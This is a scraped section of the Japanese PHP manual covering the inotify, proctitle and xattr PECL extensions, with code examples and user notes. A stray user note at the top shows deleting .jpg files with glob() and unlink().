chris at vibenewmedia dot com 14-Sep-2004 10:54
To delete all files of a particular extension, or infact, delete all with wildcard, a much simplar way is to use the glob function.  Say I wanted to delete all jpgs .........

<?php

foreach (glob("*.jpg") as $filename) {
   echo "$filename size " . filesize($filename) . "\n";
   unlink($filename);
}

?>


Inotify

  • はじめに
  • インストール/設定
    • 要件
    • インストール/設定
    • 実行時設定
    • リソース型
  • 定義済み定数
  • Inotify 関数
    • inotify_add_watch — 初期化済みの inotify インスタンスに監視対象を追加する
    • inotify_init — inotify インスタンスを初期化する
    • inotify_queue_len — 待機中のイベントがある場合に正の数を返す
    • inotify_read — inotify インスタンスからイベントを読み込む
    • inotify_rm_watch — 既存の監視を inotify インスタンスから削除する

User Contributed Notes

There are no user contributed notes for this page.


はじめに

inotify 拡張モジュールは、inotify 関数 inotify_init()、 inotify_add_watch() および inotify_rm_watch() を公開しています。

C の inotify_init() 関数はファイル記述子を返しますが、PHP の
inotify_init() はストリームリソースを返します。これは、標準のストリーム関数
stream_select() や stream_set_blocking()、
fclose() などで利用することができます。
inotify_read() は、C の流儀での inotify イベントの読み込みを置き換えるものです。

User Contributed Notes

There are no user contributed notes for this page.


インストール/設定

目次

  • 要件
  • インストール/設定
  • 実行時設定
  • リソース型

User Contributed Notes

There are no user contributed notes for this page.


要件

この拡張モジュールには、Linux 2.6.13 以降と最新の libC が必要です。

User Contributed Notes

There are no user contributed notes for this page.


インストール/設定

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/inotify.

User Contributed Notes

Sam Wilson 21-Feb-2017 12:50
On Ubuntu with PHP7, Pecl installs Inotify to /usr/lib/php/20151012/inotify.so and this isn't loaded by default. So it needs to be added, by creating /etc/php/7.0/mods-available/inotify.ini with the following contents: extension=inotify.so and then running sudo phpenmod inotify


リソース型

この拡張モジュールでは、 inotify_init() が返すストリームリソースを定義しています。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

inotify_add_watch() で使ったり inotify_read() が返したりする inotify 定数
IN_ACCESS (int)
ファイルがアクセスされた (読み込み) (*)
IN_MODIFY (int)
ファイルが変更された (*)
IN_ATTRIB (int)
メタデータ (パーミッションや修正時刻など) が変更された (*)
IN_CLOSE_WRITE (int)
書き込みモードで開いたファイルが閉じられた (*)
IN_CLOSE_NOWRITE (int)
非書き込みモードで開いたファイルが閉じられた (*)
IN_OPEN (int)
ファイルが開かれた (*)
IN_MOVED_TO (int)
ファイルが監視対象ディレクトリ内に移動された (*)
IN_MOVED_FROM (int)
ファイルが監視対象ディレクトリ外に移動された (*)
IN_CREATE (int)
ファイルあるいはディレクトリが監視対象ディレクトリ内で作成された (*)
IN_DELETE (int)
ファイルあるいはディレクトリが監視対象ディレクトリ内で削除された (*)
IN_DELETE_SELF (int)
監視対象のファイルあるいはディレクトリが削除された
IN_MOVE_SELF (int)
監視対象のファイルあるいはディレクトリが移動した
IN_CLOSE (int)
IN_CLOSE_WRITE | IN_CLOSE_NOWRITE と同等
IN_MOVE (int)
IN_MOVED_FROM | IN_MOVED_TO と同等
IN_ALL_EVENTS (int)
上記の定数すべてのビットマスク
IN_UNMOUNT (int)
監視対象オブジェクトを含むファイルシステムがアンマウントされた
IN_Q_OVERFLOW (int)
イベントキューがオーバーフローした (このイベントの監視記述子は -1)
IN_IGNORED (int)
監視が削除された (明示的に inotify_rm_watch() したか、ファイルが削除されたりファイルシステムがアンマウントされたりした)
IN_ISDIR (int)
このイベントの対象はディレクトリ
IN_ONLYDIR (int)
ディレクトリの場合はパス名のみを監視する (Linux 2.6.15 以降)
IN_DONT_FOLLOW (int)
シンボリックリンクの場合にパス名の参照先を解決しない (Linux 2.6.15 以降)
IN_MASK_ADD (int)
このパス名が既に存在する場合に、(マスクを上書きするのではなく) マスクにイベントを追加する
IN_ONESHOT (int)
単一のイベントについてのみパス名を監視し、その後は監視リストから削除する

注意: 上のイベントのうちアスタリスク (*) がついているものは、 監視対象ディレクトリ内のファイルごとに発生する可能性があります。

User Contributed Notes

rogere84 at gmail dot com 16-Apr-2014 06:52
I noticed that the values of the constants seem to be missing. Granted, these could change dependant on version but on my system here are the values (should you want them).

IN_ACCESS = 1
IN_MODIFY = 2
IN_ATTRIB = 4
IN_CLOSE_WRITE = 8
IN_CLOSE_NOWRITE = 16
IN_OPEN = 32
IN_MOVED_FROM = 64
IN_MOVED_TO = 128
IN_CREATE = 256
IN_DELETE = 512
IN_DELETE_SELF = 1024
IN_MOVE_SELF = 2048
IN_UNMOUNT = 8192
IN_Q_OVERFLOW = 16384
IN_IGNORED = 32768
IN_CLOSE = 24
IN_MOVE = 192
IN_ALL_EVENTS = 4095
IN_ONLYDIR = 16777216
IN_DONT_FOLLOW = 33554432
IN_MASK_ADD = 536870912
IN_ISDIR = 1073741824
IN_ONESHOT = 2147483648
crownedgrouse 13-Mar-2009 02:11
Be carefull using IN_MODIFY :

Lot of UNIX editor, for instance like 'vi', work in a 'xxx~' file, and changes are written in 'xxx' when saving or saving and closing.

If a watcher is done on 'xxx', no IN_MODIFY event occurs while not saved !

Prefere IN_CLOSE_WRITE in such case .


Inotify 関数

目次

  • inotify_add_watch — 初期化済みの inotify インスタンスに監視対象を追加する
  • inotify_init — inotify インスタンスを初期化する
  • inotify_queue_len — 待機中のイベントがある場合に正の数を返す
  • inotify_read — inotify インスタンスからイベントを読み込む
  • inotify_rm_watch — 既存の監視を inotify インスタンスから削除する

User Contributed Notes

There are no user contributed notes for this page.


初期化済みの inotify インスタンスに監視対象を追加する

  • ≪ Inotify 関数
  • inotify_init ≫
  • PHP Manual
  • Inotify 関数
  • 初期化済みの inotify インスタンスに監視対象を追加する

inotify_add_watch

(PECL inotify >= 0.1.2)

inotify_add_watch — 初期化済みの inotify インスタンスに監視対象を追加する

説明

inotify_add_watch ( resource $inotify_instance , string $pathname , int $mask ) : int

inotify_add_watch() は、pathname で指定したファイルあるいはディレクトリへの監視を追加あるいは変更します。

既存の監視対象に対して inotify_add_watch() を使用すると、 監視内容を上書きします。定数 IN_MASK_ADD を使用すると、 既存の監視対象を上書きせずにイベントを追加します。

パラメータ

inotify_instance

inotify_init() が返すリソース

pathname

監視対象のファイルあるいはディレクトリ。

mask

監視するイベント。定義済みの定数 を参照ください。

返り値

返り値は、(inotify インスタンス内で) 一意な監視記述子です。

参考

  • inotify_init() - inotify インスタンスを初期化する

User Contributed Notes

lezsakdomi1 at gmail dot com 03-Jul-2017 01:53
For an example see inotify_ini: http://php.net/inotify-init
lingtalfi 05-Dec-2014 04:33
inotify_add_watch
returns false when you watch a non existing directory.


inotify インスタンスを初期化する

  • ≪ inotify_add_watch
  • inotify_queue_len ≫
  • PHP Manual
  • Inotify 関数
  • inotify インスタンスを初期化する

inotify_init

(PECL inotify >= 0.1.2)

inotify_init — inotify インスタンスを初期化する

説明

inotify_init ( ) : resource

inotify_add_watch() で使用するための inotify インスタンスを初期化します。

返り値

ストリームリソース、あるいはエラー時に false を返します。

例

例1 inotify の使用例

<?php
// inotify インスタンスを開きます
$fd = inotify_init();

// __FILE__ のメタデータ (変更時刻など) の変更を監視します
$watch_descriptor = inotify_add_watch($fd, __FILE__, IN_ATTRIB);

// イベントを発生させます
touch(__FILE__);

// イベントを読み込みます
$events = inotify_read($fd);
print_r($events);

// 以下の方法を使うと、inotify_read() でブロックせずに inotify 関数を使用できます

// - stream_select() を $fd で使用します
$read = array($fd);
$write = null;
$except = null;
stream_select($read,$write,$except,0);

// - stream_set_blocking() を $fd で使用します
stream_set_blocking($fd, 0);
inotify_read($fd); // ブロックしません。待ち状態のイベントがなければ false を返します

// - inotify_queue_len() を使用して、イベントキューが空でないかどうかを調べます
$queue_len = inotify_queue_len($fd); // If > 0, inotify_read() will not block

// __FILE__ のメタデータ変更の監視を終了します
inotify_rm_watch($fd, $watch_descriptor);

// inotify インスタンスを閉じます
// 未完了の監視があれば、それらもすべて閉じられます
fclose($fd);

?>

上の例の出力は、 たとえば以下のようになります。

array(
  array(
    'wd' => 1,     // Equals $watch_descriptor
    'mask' => 4,   // IN_ATTRIB bit is set
    'cookie' => 0, // unique id to connect related events (e.g.
                   // IN_MOVE_FROM and IN_MOVE_TO events)
    'name' => '',  // the name of a file (e.g. if we monitored changes
                   // in a directory)
  ),
);

参考

  • inotify_add_watch() - 初期化済みの inotify インスタンスに監視対象を追加する
  • inotify_rm_watch() - 既存の監視を inotify インスタンスから削除する
  • inotify_queue_len() - 待機中のイベントがある場合に正の数を返す
  • inotify_read() - inotify インスタンスからイベントを読み込む
  • fclose() - オープンされたファイルポインタをクローズする

User Contributed Notes

david dot schueler at tel-billig dot de 25-Nov-2010 08:42
Example for tailing a file (like tail -f) using inotify.
<?php
/**
 * Tail a file (UNIX only!)
 * Watch a file for changes using inotify and return the changed data
 *
 * @param string $file - filename of the file to be watched
 * @param integer $pos - actual position in the file
 * @return string
 */
function tail($file,&$pos) {
    // get the size of the file
    if(!$pos) $pos = filesize($file);
    // Open an inotify instance
    $fd = inotify_init();
    // Watch $file for changes.
    $watch_descriptor = inotify_add_watch($fd, $file, IN_ALL_EVENTS);
    // Loop forever (breaks are below)
    while (true) {
        // Read events (inotify_read is blocking!)
        $events = inotify_read($fd);
        // Loop though the events which occured
        foreach ($events as $event=>$evdetails) {
            // React on the event type
            switch (true) {
                // File was modified
                case ($evdetails['mask'] & IN_MODIFY):
                    // Stop watching $file for changes
                    inotify_rm_watch($fd, $watch_descriptor);
                    // Close the inotify instance
                    fclose($fd);
                    // open the file
                    $fp = fopen($file,'r');
                    if (!$fp) return false;
                    // seek to the last EOF position
                    fseek($fp,$pos);
                    // read until EOF
                    while (!feof($fp)) {
                        $buf .= fread($fp,8192);
                    }
                    // save the new EOF to $pos
                    $pos = ftell($fp); // (remember: $pos is called by reference)
                    // close the file pointer
                    fclose($fp);
                    // return the new data and leave the function
                    return $buf;
                    // be a nice guy and program good code ;-)
                    break;

                    // File was moved or deleted
                case ($evdetails['mask'] & IN_MOVE):
                case ($evdetails['mask'] & IN_MOVE_SELF):
                case ($evdetails['mask'] & IN_DELETE):
                case ($evdetails['mask'] & IN_DELETE_SELF):
                    // Stop watching $file for changes
                    inotify_rm_watch($fd, $watch_descriptor);
                    // Close the inotify instance
                    fclose($fd);
                    // Return a failure
                    return false;
                    break;
            }
        }
    }
}

// Use it like that:
$lastpos = 0;
while (true) {
    echo tail($file,$lastpos);
}
?>


待機中のイベントがある場合に正の数を返す

  • ≪ inotify_init
  • inotify_read ≫
  • PHP Manual
  • Inotify 関数
  • 待機中のイベントがある場合に正の数を返す

inotify_queue_len

(PECL inotify >= 0.1.2)

inotify_queue_len — 待機中のイベントがある場合に正の数を返す

説明

inotify_queue_len ( resource $inotify_instance ) : int

この関数で、inotify_read() がブロックされるかどうかを知ることができます。 ゼロより大きい数が返された場合は待機中のイベントがあることを意味し、 この場合 inotify_read() はブロックされません。

パラメータ

inotify_instance

inotify_init() が返すリソース

返り値

待機中のイベントがある場合に正の数を返します。

参考

  • inotify_init() - inotify インスタンスを初期化する
  • stream_select() - select() システムコールと同等の操作を、 ストリームの配列に対して tv_sec と tv_usec で指定されたタイムアウト時間をもって行う
  • stream_set_blocking() - ストリームのブロックモードを有効にする / 解除する

User Contributed Notes

There are no user contributed notes for this page.


inotify インスタンスからイベントを読み込む

  • ≪ inotify_queue_len
  • inotify_rm_watch ≫
  • PHP Manual
  • Inotify 関数
  • inotify インスタンスからイベントを読み込む

inotify_read

(PECL inotify >= 0.1.2)

inotify_read — inotify インスタンスからイベントを読み込む

説明

inotify_read ( resource $inotify_instance ) : array

inotify イベントを inotify インスタンスから読み込みます。

パラメータ

inotify_instance

inotify_init() が返すリソース

返り値

inotify イベントの配列、を返します。待機中のイベントがなく、かつ inotify_instance が非ブロックモードである場合は false を返します。各イベントは次のキーを持つ配列となります。

  • wd は、inotify_add_watch() が返す監視記述子です
  • mask は、events のビットマスクです
  • cookie は、接続関連のイベント (たとえば IN_MOVE_FROM や IN_MOVE_TO) の一意な ID です
  • name は、ファイル名 (たとえば 監視対象のディレクトリ内でファイルが変更された場合) です

参考

  • inotify_init() - inotify インスタンスを初期化する
  • stream_select() - select() システムコールと同等の操作を、 ストリームの配列に対して tv_sec と tv_usec で指定されたタイムアウト時間をもって行う
  • stream_set_blocking() - ストリームのブロックモードを有効にする / 解除する
  • inotify_queue_len() - 待機中のイベントがある場合に正の数を返す

User Contributed Notes

lingtalfi 05-Dec-2014 04:52
once the watch is read, it is removed from the queue.
(inotify_queue_len will return 0)
qriff at hotmail dot com 20-Sep-2013 11:50
<?php

$wd_constants = array(
1 => array('IN_ACCESS','File was accessed (read)'),
2 => array('IN_MODIFY','File was modified'),
4 => array('IN_ATTRIB','Metadata changed (e.g. permissions, mtime, etc.)'),
8 => array('IN_CLOSE_WRITE','File opened for writing was closed'),
16 => array('IN_CLOSE_NOWRITE','File not opened for writing was closed'),
32 => array('IN_OPEN','File was opened'),
128 => array('IN_MOVED_TO','File moved into watched directory'),
64 => array('IN_MOVED_FROM','File moved out of watched directory'),
256 => array('IN_CREATE','File or directory created in watched directory'),
512 => array('IN_DELETE','File or directory deleted in watched directory'),
1024 => array('IN_DELETE_SELF','Watched file or directory was deleted'),
2048 => array('IN_MOVE_SELF','Watch file or directory was moved'),
24 => array('IN_CLOSE','Equals to IN_CLOSE_WRITE | IN_CLOSE_NOWRITE'),
192 => array('IN_MOVE','Equals to IN_MOVED_FROM | IN_MOVED_TO'),
4095 => array('IN_ALL_EVENTS','Bitmask of all the above constants'),
8192 => array('IN_UNMOUNT','File system containing watched object was unmounted'),
16384 => array('IN_Q_OVERFLOW','Event queue overflowed (wd is -1 for this event)'),
32768 => array('IN_IGNORED','Watch was removed (explicitly by inotify_rm_watch() or because file was removed or filesystem unmounted'),
1073741824 => array('IN_ISDIR','Subject of this event is a directory'),
1073741840 => array('IN_CLOSE_NOWRITE','High-bit: File not opened for writing was closed'),
1073741856 => array('IN_OPEN','High-bit: File was opened'),
1073742080 => array('IN_CREATE','High-bit: File or directory created in watched directory'),
1073742336 => array('IN_DELETE','High-bit: File or directory deleted in watched directory'),
16777216 => array('IN_ONLYDIR','Only watch pathname if it is a directory (Since Linux 2.6.15)'),
33554432 => array('IN_DONT_FOLLOW','Do not dereference pathname if it is a symlink (Since Linux 2.6.15)'),
536870912 => array('IN_MASK_ADD','Add events to watch mask for this pathname if it already exists (instead of replacing mask).'),
2147483648 => array('IN_ONESHOT','Monitor pathname for one event, then remove from watch list.')
);

$path = $argv[1];

$fd = inotify_init();
stream_set_blocking($fd, 0);
$watch_descriptor = inotify_add_watch($fd, $path, IN_ALL_EVENTS);

$poll = 0;
while (true) {
  $ecount = 0;
  $fcount = 0;
  // Poll for queued events, generated meanwhile
  // Because while (true) { } has some seriously bad mojo
  sleep(5);
  $poll++;
  $events = inotify_read($fd);
  if ($events) $ecount = count($events);
  echo "=== ".date("Y-m-d H:i:s")." inotify poll #$poll contains ".$ecount." events";
  if ($events) echo ":";
  echo "\n";
  if ($events) {
        foreach ($events as $event) {
                $fcount++;
                echo "        inotify Event #".$fcount." - Object: ".$event['name'].": ".$wd_constants[$event['mask']][0]." (".$wd_constants[$event['mask']][1].")\n";
        }
  }
}

inotify_rm_watch($fd, $watch_descriptor);

fclose($fd);

?>


既存の監視を inotify インスタンスから削除する

  • ≪ inotify_read
  • Proctitle ≫
  • PHP Manual
  • Inotify 関数
  • 既存の監視を inotify インスタンスから削除する

inotify_rm_watch

(PECL inotify >= 0.1.2)

inotify_rm_watch — 既存の監視を inotify インスタンスから削除する

説明

inotify_rm_watch ( resource $inotify_instance , int $watch_descriptor ) : bool

inotify_rm_watch() は、 watch_descriptor がさす監視を inotify インスタンス inotify_instance から削除します。

パラメータ

inotify_instance

inotify_init() が返すリソース

watch_descriptor

インスタンスから削除したい監視。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • inotify_init() - inotify インスタンスを初期化する

User Contributed Notes

There are no user contributed notes for this page.


Proctitle

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • Proctitle 関数
    • setproctitle — プロセスのタイトルを設定
    • setthreadtitle — スレッドのタイトルを設定

User Contributed Notes

remi at php dot net 27-Feb-2020 09:36
This extension is deprecated.

See the cli_set_process_title function instead.


はじめに

このエクステンションにより、Linux および *BSD システム上で 現行のプロセス、スレッドおよび名前を変更できます。 これは、実行中のプロセスをプロセス一覧で識別するために pcntl_fork() を使用する際に便利です。

User Contributed Notes

There are no user contributed notes for this page.


要件

特にありません。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/proctitle.

User Contributed Notes

There are no user contributed notes for this page.


Proctitle 関数

目次

  • setproctitle — プロセスのタイトルを設定
  • setthreadtitle — スレッドのタイトルを設定

User Contributed Notes

There are no user contributed notes for this page.


プロセスのタイトルを設定

  • ≪ Proctitle 関数
  • setthreadtitle ≫
  • PHP Manual
  • Proctitle 関数
  • プロセスのタイトルを設定

setproctitle

(PECL proctitle >= 0.1.0)

setproctitle — プロセスのタイトルを設定

説明

setproctitle ( string $title ) : void

プロセスのタイトルを設定します。

パラメータ

title

プロセスのタイトルとして使用するタイトル

返り値

値を返しません。

例

例1 setproctitle() の例

下記の例を実行すると、プロセスのタイトルを変更します。 (例えば、ps a でご覧になれます)

<?php
setproctitle("myscript");
?>

上の例の出力は、 たとえば以下のようになります。

$ ps a
  PID TTY      STAT   TIME COMMAND
 1168 pts/3    S      0:00 myscript

参考

  • cli_set_process_title() - プロセスのタイトルを設定する
  • pcntl_fork() - 現在実行中のプロセスをフォークする
  • setthreadtitle() - スレッドのタイトルを設定

User Contributed Notes

james at ifixit dot com 28-Mar-2014 10:12
You should use cli_set_process_title() ( http://php.net/manual/en/function.cli-set-process-title.php ) instead; it's less dangerous and less buggy, and part of PHP itself as of 5.5.
zodbd421 at gmail dot com 21-Apr-2013 05:16
Note that this extension is considered buggy.  See https://wiki.php.net/rfc/cli_process_title, which says:

"...but it is incomplete and might lead to memory corruption on Linux (or any OS which does not support setproctitle.

The reason is the extension only has access to original argv[0] (that comes from main()). argv and environ(7) are in contiguous memory space on Linux. The extension presumes that argv[0] can accomodate 128 characters, but usually that is not possible because argv[0] is "php". When this happens, the extension will scribble on argv[1], argv[2], etc., and maybe even environ and this can have destructive side effects on the running program."


スレッドのタイトルを設定

  • ≪ setproctitle
  • xattr ≫
  • PHP Manual
  • Proctitle 関数
  • スレッドのタイトルを設定

setthreadtitle

(PECL proctitle >= 0.1.2)

setthreadtitle — スレッドのタイトルを設定

説明

setthreadtitle ( string $title ) : bool

スレッドのタイトルを設定します。

パラメータ

title

スレッドのタイトルとして使用するタイトル

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 setthreadtitle() の例

下記の例を実行すると、スレッドのタイトルを変更します。 (例えば、ps c でご覧になれます)

<?php
setthreadtitle("myscript");
?>

上の例の出力は、 たとえば以下のようになります。

$ ps c
  PID TTY      STAT   TIME COMMAND
 1178 pts/3    S      0:00 myscript

参考

  • pcntl_fork() - 現在実行中のプロセスをフォークする
  • setproctitle() - プロセスのタイトルを設定

User Contributed Notes

There are no user contributed notes for this page.


xattr

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • xattr 関数
    • xattr_get — 拡張属性を取得する
    • xattr_list — 拡張属性の一覧を取得する
    • xattr_remove — 拡張属性を削除する
    • xattr_set — 拡張属性を設定する
    • xattr_supported — ファイルシステムが拡張属性をサポートしているかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


はじめに

xattr 拡張モジュールは、ファイルシステムの拡張属性を操作します。

User Contributed Notes

There are no user contributed notes for this page.


要件

xattr を使用するには、libattr がインストールされている必要があります。 これは » http://savannah.nongnu.org/projects/attr/ から取得可能です。

注意:

これらの関数は、ファイルシステムが拡張属性をサポートしており、 マウント時にそれを有効にしている場合にのみ動作します。 一般に使用されているファイルシステムのうち、拡張属性を サポートしているものには ext2、ext3、reiserfs、jfs および xfs などがあります。

User Contributed Notes

sven _ oostenbrink atserver yahoo dot co 07-Aug-2009 06:29
An important thing to realize, if you wish to use xattr, you need a filesystem that has extended attributes functionalty and also has those enabled! I lost quite a bit of time with puzzling why xattr was not working with my ext4 system, until I found that the extended attributes, by default, are not enabled.

Adding user_xattr to the mounting configuration of the filesystem where I was working fixed the problem

/dev/sdb2    /home               ext4    relatime,user_xattr        0       2


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/xattr.

この PECL 拡張モジュールの DLL は、現在存在しません。 Windows でのビルド も参照ください

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

XATTR_ROOT (int)
root (信頼された) 名前空間に属性を設定します。 root 権限が必要です。
XATTR_DONTFOLLOW (int)
シンボリックリンクのリンク先をたどらず、リンクそのものを操作します。
XATTR_CREATE (int)
拡張属性が既に存在する場合、関数は失敗します。
XATTR_REPLACE (int)
拡張属性が存在しない場合、関数は失敗します。

User Contributed Notes

There are no user contributed notes for this page.


xattr 関数

目次

  • xattr_get — 拡張属性を取得する
  • xattr_list — 拡張属性の一覧を取得する
  • xattr_remove — 拡張属性を削除する
  • xattr_set — 拡張属性を設定する
  • xattr_supported — ファイルシステムが拡張属性をサポートしているかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


拡張属性を取得する

  • ≪ xattr 関数
  • xattr_list ≫
  • PHP Manual
  • xattr 関数
  • 拡張属性を取得する

xattr_get

(PECL xattr >= 0.9.0)

xattr_get — 拡張属性を取得する

説明

xattr_get ( string $filename , string $name , int $flags = 0 ) : string

この関数は、ファイルの拡張属性の値を取得します。

拡張属性には二種類の異なる名前空間、つまり、ユーザーとルートがあります。 ユーザー名前空間は、すべてのユーザーで利用可能ですが、ルート名前空間は、ルート権限を有するユーザーのみ利用可能です。 xattr はデフォルトでユーザー名前空間で処理を行いますが、 flags 引数によりこれを変更することができます。

パラメータ

filename

属性を取得するファイル。

name

属性の名前。

flags

サポートされる xattr のフラグ
XATTR_DONTFOLLOW | シンボリックリンクのリンク先をたどらず、リンクそのものを操作します。
XATTR_ROOT | root (信頼された) 名前空間に属性を設定します。root 権限が必要です。

返り値

値を含む文字列、あるいは属性が存在しない場合には false を返します。

例

例1 システム管理者がファイルに署名をしているかどうかを調べる

<?php
$file = '/usr/local/sbin/some_binary';
$signature = xattr_get($file, 'Root signature', XATTR_ROOT);

/* ... $signature が正しいものかどうかを調べます ... */

?>

参考

  • xattr_list() - 拡張属性の一覧を取得する
  • xattr_set() - 拡張属性を設定する
  • xattr_remove() - 拡張属性を削除する

User Contributed Notes

There are no user contributed notes for this page.


拡張属性の一覧を取得する

  • ≪ xattr_get
  • xattr_remove ≫
  • PHP Manual
  • xattr 関数
  • 拡張属性の一覧を取得する

xattr_list

(PECL xattr >= 0.9.0)

xattr_list — 拡張属性の一覧を取得する

説明

xattr_list ( string $filename , int $flags = 0 ) : array

この関数は、ファイルの拡張属性の名前の一覧を取得します。

拡張属性には二種類の異なる名前空間、つまり、ユーザーとルートがあります。 ユーザー名前空間は、すべてのユーザーで利用可能ですが、ルート名前空間は、ルート権限を有するユーザーのみ利用可能です。 xattr はデフォルトでユーザー名前空間で処理を行いますが、 flags 引数によりこれを変更することができます。

パラメータ

filename

ファイルのパス。

flags

サポートされる xattr のフラグ
XATTR_DONTFOLLOW | シンボリックリンクのリンク先をたどらず、リンクそのものを操作します。
XATTR_ROOT | root (信頼された) 名前空間に属性を設定します。root 権限が必要です。

返り値

この関数は、拡張属性の名前を配列で返します。

例

例1 ファイルのすべての拡張属性の名前を表示する

<?php
$file = 'some_file';
$root_attributes = xattr_list($file, XATTR_ROOT);
$user_attributes = xattr_list($file);

echo "Root 属性: \n";
foreach ($root_attributes as $attr_name) {
    printf("%s\n", $attr_name);
}

echo "\n User 属性: \n";
foreach ($attributes as $attr_name) {
    printf("%s\n", $attr_name);
}

?>

参考

  • xattr_get() - 拡張属性を取得する

User Contributed Notes

There are no user contributed notes for this page.


拡張属性を削除する

  • ≪ xattr_list
  • xattr_set ≫
  • PHP Manual
  • xattr 関数
  • 拡張属性を削除する

xattr_remove

(PECL xattr >= 0.9.0)

xattr_remove — 拡張属性を削除する

説明

xattr_remove ( string $filename , string $name , int $flags = 0 ) : bool

この関数は、ファイルの拡張属性を削除します。

拡張属性には二種類の異なる名前空間、つまり、ユーザーとルートがあります。 ユーザー名前空間は、すべてのユーザーで利用可能ですが、ルート名前空間は、ルート権限を有するユーザーのみ利用可能です。 xattr はデフォルトでユーザー名前空間で処理を行いますが、 flags 引数によりこれを変更することができます。

パラメータ

filename

属性を削除するファイル。

name

削除する属性の名前。

flags

サポートされる xattr のフラグ
XATTR_DONTFOLLOW | シンボリックリンクのリンク先をたどらず、リンクそのものを操作します。
XATTR_ROOT | root (信頼された) 名前空間に属性を設定します。root 権限が必要です。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 ファイルのすべての拡張属性を削除する

<?php
$file = 'some_file';
$attributes = xattr_list($file);

foreach ($attributes as $attr_name) {
    xattr_remove($file, $attr_name);
}
?>

参考

  • xattr_list() - 拡張属性の一覧を取得する
  • xattr_set() - 拡張属性を設定する
  • xattr_get() - 拡張属性を取得する

User Contributed Notes

There are no user contributed notes for this page.


拡張属性を設定する

  • ≪ xattr_remove
  • xattr_supported ≫
  • PHP Manual
  • xattr 関数
  • 拡張属性を設定する

xattr_set

(PECL xattr >= 0.9.0)

xattr_set — 拡張属性を設定する

説明

xattr_set ( string $filename , string $name , string $value , int $flags = 0 ) : bool

この関数は、ファイルの拡張属性の値を設定します。

拡張属性には二種類の異なる名前空間、つまり、ユーザーとルートがあります。 ユーザー名前空間は、すべてのユーザーで利用可能ですが、ルート名前空間は、ルート権限を有するユーザーのみ利用可能です。 xattr はデフォルトでユーザー名前空間で処理を行いますが、 flags 引数によりこれを変更することができます。

パラメータ

filename

属性を設定するファイル。

name

拡張属性の名前。もし属性が存在しない場合は新しく作成され、 存在する場合は上書きされます。この振る舞いは、 flags パラメータを使用することで変更可能です。

value

属性の値。

flags

サポートされる xattr のフラグ
XATTR_CREATE | 拡張属性が既に存在する場合、関数は失敗します。
XATTR_REPLACE | 拡張属性が存在しない場合、関数は失敗します。
XATTR_DONTFOLLOW | シンボリックリンクのリンク先をたどらず、リンクそのものを操作します。
XATTR_ROOT | root (信頼された) 名前空間に属性を設定します。root 権限が必要です。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 .wav ファイルに拡張属性を設定する

<?php
$file = 'my_favourite_song.wav';
xattr_set($file, 'Artist', 'Someone');
xattr_set($file, 'My ranking', 'Good');
xattr_set($file, 'Listen count', '34');

/* ... その他のコード ... */

printf("あなたは、この曲を %d 回再生しました", xattr_get($file, 'Listen count'));
?>

参考

  • xattr_get() - 拡張属性を取得する
  • xattr_remove() - 拡張属性を削除する

User Contributed Notes

blr at blr dot hu 07-Oct-2015 11:02
Be aware when use on filesystem without xattr support, it returns true. (Bug reported)


ファイルシステムが拡張属性をサポートしているかどうかを調べる

  • ≪ xattr_set
  • xdiff ≫
  • PHP Manual
  • xattr 関数
  • ファイルシステムが拡張属性をサポートしているかどうかを調べる

xattr_supported

(PECL xattr >= 1.0.0)

xattr_supported — ファイルシステムが拡張属性をサポートしているかどうかを調べる

説明

xattr_supported ( string $filename , int $flags = 0 ) : bool

この関数は、指定したファイルを保持するファイルシステムが 拡張属性をサポートしているかどうかを調べます。ファイルに対する 読み込みアクセス権限を必要とします。

パラメータ

filename

調べるファイルのパス。

flags

サポートされる xattr のフラグ
XATTR_DONTFOLLOW シンボリックリンクのリンク先をたどらず、リンクそのものを操作します。

返り値

この関数は、ファイルシステムが拡張属性をサポートしている場合に true、 していない場合に false、そして判断できない場合 (たとえばパスが 間違っていたりファイルへのアクセス権限がない場合) には null を返します。

例

例1 xattr_supported() の例

以下のコードは、拡張属性が使用可能かどうかを調べます。

<?php
$file = 'some_file';

if (xattr_supported($file)) {
    /* ... xattr_* 関数が使用できます ... */
}

?>

参考

  • xattr_get() - 拡張属性を取得する
  • xattr_list() - 拡張属性の一覧を取得する

User Contributed Notes

There are no user contributed notes for this page.


xdiff

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • xdiff 関数
    • xdiff_file_bdiff_size — バイナリ diff を適用して作成するファイルのサイズを読み込む
    • xdiff_file_bdiff — 2 つのファイルのバイナリ diff を作成する
    • xdiff_file_bpatch — ファイルにバイナリ diff 形式のパッチを適用する
    • xdiff_file_diff_binary — xiff_file_bdiff のエイリアス
    • xdiff_file_diff — 2 つのファイルの unified diff を作成する
    • xdiff_file_merge3 — 3 つのファイルをひとつに統合する
    • xdiff_file_patch_binary — xdiff_file_bpatch のエイリアス
    • xdiff_file_patch — ファイルに unified diff 形式のパッチを適用する
